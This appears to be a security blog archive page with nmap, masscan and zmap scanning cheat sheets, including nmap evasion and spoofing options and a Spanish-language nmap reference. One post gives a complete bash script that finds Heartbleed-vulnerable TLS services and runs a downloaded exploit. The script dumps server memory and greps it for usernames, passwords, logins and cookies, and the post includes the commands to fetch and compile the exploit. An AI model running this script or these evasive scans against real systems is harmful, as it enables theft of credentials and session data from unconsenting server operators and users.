hacktracking: nmap

Showing posts with label nmap. Show all posts

# Network Scanning

ARP

# netdiscover -P -r <network> | tee <scanname>-netdiscover

ICMP

# nmap -n -sn -oA <scanname>-icmp <network>

TCP

# masscan <network> -pU:0-65535 --rate 1000 --open-only --output-format <xml|binary|grepable|list|JSON> --output-filename <scanname>-masscan
# nmap -n -p- -T4 -Pn --open -oA <scanname>-nmap <network>
# nmap -n -F -T4 -Pn --open -oA <scanname>-nmap <network>
# zmap --target-port=<port> --bandwidth=10M --seed=1234 --interface=<interface> --probe-module=tcp_synscan --output-file=<scanname>-zmap <network>

UDP

# masscan <network> -p0-65535 --rate 1000 --open-only --output-format <xml|binary|grepable|list|JSON> --output-filename <scanname>-masscan
# nmap -n -p- -T4 -sU -Pn --open -oA <scanname>-nmap <network>
# nmap -n -F -T4 -sU -Pn --open -oA <scanname>-nmap <network>
# zmap --target-port=<port> --bandwidth=10M --seed=1234 --interface=<interface> --probe-module=udp --output-file=<scanname>-zmap <network>

UDP Applications: DNS, IPMI, NETBIOS, NTP, MSDNS, MSSQL, PORTMAP, SIP, SNMPv1, UPNP

# pa=<dns_53.pkt|ipmi_623.pkt|netbios_137.pkt|ntp_123.pkt|mdns_5353.pkt|mssql_1434.pkt|portmap_53.pkt|sip_options.tpl|snmp1_161.pkt|upnp_1900.pkt>
# zmap --target-port=<port> --bandwidth=10M --seed=1234 --interface=<interface> --probe-module=udp --probe-args=$pa --output-file=<scanname>-zmap <network>

Affected OpenSSL versions

The affected versions of OpenSSL are OpenSSL 1.0.1 through 1.0.1f (inclusive).
Later versions (1.0.1g and ulterior) and previous versions (1.0.0 branch and older) are not vulnerable.
Installations of the affected versions are vulnerable unless OpenSSL was compiled with OPENSSL_NO_HEARTBEATS.

Scan and exploit

# ./hbse 127.0.0.1 # Interactive mode.
# ./hbse --scan 127.0.0.1 # No interactive mode. Scan only.
# ./hbse --exploit 127.0.0.1 # No interactive mode. Scan and exploit.

# cat hbse 
#!/bin/bash

### TCP ####

# 443  (HTTPS - HTTP over SSL)
# 465  (SMTPS - SMTP over SSL)
# 563  (NNTPS - NNTP over TLS/SSL)
# 636  (LDAPS - LDAP over TLS/SSL)
# 989  (FTPS Data - FTP Data over TLS/SSL)
# 990  (FTPS Control - FTP Control over TLS/SSL)
# 992  (Telnet over TLS/SSL)
# 993  (IMAPS - IMAP over SSL)
# 995  (POP3S - POP3 over SSL)
# 1194 (OpenVPN)
# 2484 (Oracle Database listening for SSL client)
# 5061 (SIP over TLS)
# 8443 (Apache Tomcat SSL)

### UDP ###

# 563  (NNTPS - NNTP over TLS/SSL)
# 636  (LDAPS - LDAP over TLS/SSL)
# 4433 (OpenSSL)

if [ $# -eq 1 ]; then
    ip="$1"
elif [ $# -eq 2 ]; then
    se="$1"
    ip="$2"
else
    exit
fi
nports="T:443,465,563,636,989,990,992,993,995,1194,2484,5061,8443,U:563,636,4433"

function print() {
    text="$1"
    color="$2"
    if [ "$color" == "gray" ]; then
        header="\e[38;5;250m"
    elif [ "$color" == "red" ]; then
        header="\e[91m"
    elif [ "$color" == "green" ]; then
        header="\e[92m"
    elif [ "$color" == "yellow" ]; then
        header="\e[93m"
    fi
    tail="\e[0m"
    echo -en $header$text$tail
}

print "Checking if $ip is vulnerable on port 443... " "gray"
vulnerable="`nmap -p T:443 -script ssl-heartbleed $ip | grep VULNERABLE`"

if [ "$vulnerable" != "" ]; then
    print "Yes\n" "green"
    print "Checking if it is vulnerable on other ports... " "gray"
    vports="`nmap -p $nports -script ssl-heartbleed $ip | grep -B 2 VULNERABLE: | grep open | awk -F'/' '{print $1}'`"
    n="`echo "$ports" | wc -l`"
    if [ "$n" == 1 ]; then 
        print "No\n" "red"
        w1="port"
        w2="it"
        w3="file"
    else
        print "Yes\n" "green"
        w1="ports"
        w2="them"
        w3="files"
    fi
    print "Vulnerable $w1:\n" "gray"
    print "$vports\n" "green"
    if [ "$se" == "--scan" ]; then exit
    elif [ "$se" == "--exploit" ]; then
        answer="Y"
    else
        print "Do you want to exploit $w2? [Yn] " "gray"
        read answer
    fi
    if [ "$answer" = "Y" ]; then
        print "Exploit: dumping 64KB on vulnerable $w1...\n" "gray"
        exec 3<<< "$vports"
        while read port <&3; do
            print "+ Port [$port]\n" "gray"
            ofile="$ip.$port"
            if [ -f $ofile ]; then rm -f $ofile; fi
            if [ "$port" == "465" ]; then
                precmd='-c 0'
            elif [ "$port" == "993" ]; then
                precmd='-c 2'
            elif [ "$port" == "995" ]; then
                precmd='-c 1'
            else
                precmd=''
            fi
            ./heartbleed -s $ip -p $port -f $ofile $precmd -t 1 > /dev/null 2>&1
            if [ -f $ofile ]; then
                r="`strings $ofile | grep -i -e user -e pass -e login -e auth -e cookie -e basic`"
                print "$r\n" "green"
                if [ "$se" != "--exploit" ]; then
                    print "Do you want to less the hexdump file? [Yn] " "gray"
                    read answer
                    if [ "$answer" = "Y" ]; then
                        hexdump -C $ofile | less
                    fi
                fi
            else
                print "Error: heartbleed did not work on port $port...\n" "yellow"
            fi
        done
        if [ "$se" != "--exploit" ]; then
            print "Do you want to delete the hexdump $w3? [Yn] " "gray"
            read answer
            if [ "$answer" = "Y" ]; then
                rm -f $ip.*
            fi
        fi
    fi
else
    print "No\n" "red"
fi

Requirements

# apt-get install nmap
# wget --no-check-certificate https://svn.nmap.org/nmap/scripts/ssl-heartbleed.nse
# mv ssl-heartbleed.nse /usr/share/nmap/scripts/.
# wget http://nmap.org/svn/nselib/tls.lua
# mv tls.lua /usr/share/nmap/nselib/.
# wget -O heartbleed.c http://www.exploit-db.com/download/32791
# gcc heartbleed.c -o heartbleed -Wl,-Bstatic -lssl -Wl,-Bdynamic -lssl3 -lcrypto

# Fast tools for ping sweeps

nmap

# apt-get install nmap
# nmap -n -sn -PE -T5 --max-retries 1 --min-parallelism 100 -iL subnets.txt

46432 IP addresses scanned in 72 seconds

# nmap -n -sn -PE -T5 --max-retries 0 --min-parallelism 100 -iL subnets.txt | grep -v Warning

46432 IP addresses scanned in 48 seconds

zmap

# wget https://github.com/zmap/zmap/archive/v1.0.0.tar.gz
# tar xvzf v1.0.0.tar.gz
# cd zmap-1.0.0
zmap-1.0.0# cat INSTALL
zmap-1.0.0# apt-get install libgmp3-dev gengetopt libpcap-dev
zmap-1.0.0# cd src
zmap-1.0.0/src# make
zmap-1.0.0/src# make install
zmap-1.0.0/src# cd
# rm -rf zmap-1.0.0 v1.0.0.tar.gz
# sed -i 's/^black/#black/' /etc/zmap/zmap.conf
# zmap -M icmp_echoscan -B 1G -P 1 -T 100 -w subnets.txt

46432 IP addresses scanned in 72 seconds

# Nmap Host Discovery

Source file

# cat ip_list.txt
1.1.1.0
1.1.1.1
1.1.1.2
1.1.1.3
1.1.1.4
1.1.1.5
1.1.1.6
1.1.1.7
1.1.1.8
1.1.1.9
# nmap -n -sL -iL ip_list.txt

Reverse DNS resolution

# cat /etc/resolv.conf
nameserver 8.8.8.8
# nmap --dns-servers 8.8.4.4 -sL 1.1.1.0/24

Only ping scan -sP

ICMP echo request -PE:

# nmap --dns-servers 8.8.4.4 -sP -PE 1.1.1.1

ICMP timestamp request -PP:

# nmap --dns-servers 8.8.4.4 -sP -PP 1.1.1.1

ICMP address mask request -PM:

# nmap --dns-servers 8.8.4.4 -sP -PM 1.1.1.1

TCP SYN ping -PS:

# nmap --dns-servers 8.8.4.4 -sP -PS80 1.1.1.1

TCP ACK ping -PA:

# nmap --dns-servers 8.8.4.4 -sP -PA80 1.1.1.1

UDP ping -PU:

# nmap --dns-servers 8.8.4.4 -sP -PU53 1.1.1.1

IP protocol ping -PO:

# nmap --dns-servers 8.8.4.4 -sP -POicmp,igmp 1.1.1.1

ARP scan -PR (local ethernet host):

# nmap --dns-servers 192.168.1.10 -sP -PR 192.168.1.1

Related options:

--verbose
--source-port _port_
-n disables DNS resolution
--data-length _length_ adds random bytes to every packet
--ttl _value_
-T3, -T4, -T5 speed up ping scanning
--max-parallelism _value_
--max-rtt-timeout _value_ how long nmap waits for a ping response
-oA, -oN, -oG, -oX different outputs
--packet-trace provides more detail
--D _decoy1_ adds some noise

Spoof your real source address -e _intf_ -S _spoofed-ip_:

# nmap --dns-servers 8.8.4.4 -sP -PS80 -e ppp0 -S 2.2.2.2 1.1.1.1

Skip discovery stage -PN and begin default scanning stage

No matter if the host is up and running:

# nmap -PN 1.1.1.1

# Nmap

Introducción

Nmap

Normal (tcp syn)

# nmap 192.168.0.1

Varios objetivos

# nmap 192.168.0.1 192.168.0.2
# nmap 192.168.0.1-10
# nmap 192.168.0.0/24
# cat > objetivos.txt << eof
> 192.168.0.11
> 192.168.0.51
> 192.168.0.101
> eof
# nmap -iL objetivos.txt
# nmap 192.168.0.0/24 --exclude 192.168.0.10-100
# nmap 192.168.0.0/24 --excludefile objetivos.txt

Descubrimiento

# nmap -PN 192.168.0.1 # no hagas ping
# nmap -PS 192.168.0.1 # ping tcp syn
# nmap -PA 192.168.0.1 # ping tcp ack
# nmap -PU 192.168.0.1 # ping udp
# nmap -PY 192.168.0.1 # ping sctp init
# nmap -PE 192.168.0.1 # ping icmp echo
# nmap -PP 192.168.0.1 # ping icmp timestamp
# nmap -PM 192.168.0.1 # ping icmp address mask
# nmap -PO 192.168.0.1 # ping protocolo ip
# nmap -PP 192.168.0.1 # ping arp
# nmap ---traceroute 192.168.0.1 # traceroute

Escaneo

# nmap -sP 192.168.0.1 # solo ping
# nmap -sS 192.168.0.1 # tcp syn
# nmap -sT 192.168.0.1 # tcp connect (three-way-handshake)
# nmap -sU 192.168.0.1 # udp
# nmap -sN 192.168.0.1 # tcp null
# nmap -sF 192.168.0.1 # tcp fin
# nmap -sA 192.168.0.1 # tcp ack
# nmap -sX 192.168.0.1 # tcp christmas tree (fin + push + urg)
# nmap --scanflags URGACKPSHRSTSYNFIN 192.168.0.1 # tcp a medida
# nmap -F 192.168.0.1 # escaneo rápido (los 100 puertos más conocidos)
# nmap --top-ports 10 192.168.0.1 # los 10 puertos más conocidos
# nmap -p http,https 192.168.0.1 # nombre de puertos
# nmap -p 1-80 192.168.0.1 # rango de puertos
# nmap -p U:1-50,T:51-100 192.168.0.1 # rango de puertos por protocolo
# nmap -p "*" -r 192.168.0.1 # todos los puertos secuencialmente

Detección

# nmap -O 192.168.0.1 # sistema operativo
# nmap -sV 192.168.0.1 # versión de los servicios

Evasión

# nmap -f 192.168.0.1 # fragmentar en paquetes ip de 8 bytes
# nmap --mtu 16 192.168.0.1 # fragmentar en paquetes ip de 16 bytes
# nmap -D RND:5 192.168.0.1 # genera 5 @ip aleatorias (señuelos)
# nmap -sI 192.168.0.10 192.168.0.1 # escaneo utilizando un zombie
# nmap --source-port 80 192.168.0.1 # puerto de origen 80
# nmap --data-length 40 bytes 192.168.0.1 # añade 40 bytes
# nmap --spoof-mac 0 192.168.0.1 # utiliza una @mac de origen aleatoria

Formato de salida

# nmap -oN ft.txt 192.168.0.1 # fichero de texto
# nmap -oX fx.xml 192.168.0.1 # fichero xml

# Network Scanning

# Heartbleed

# Fast tools for ping sweeps

# Nmap Host Discovery

# Nmap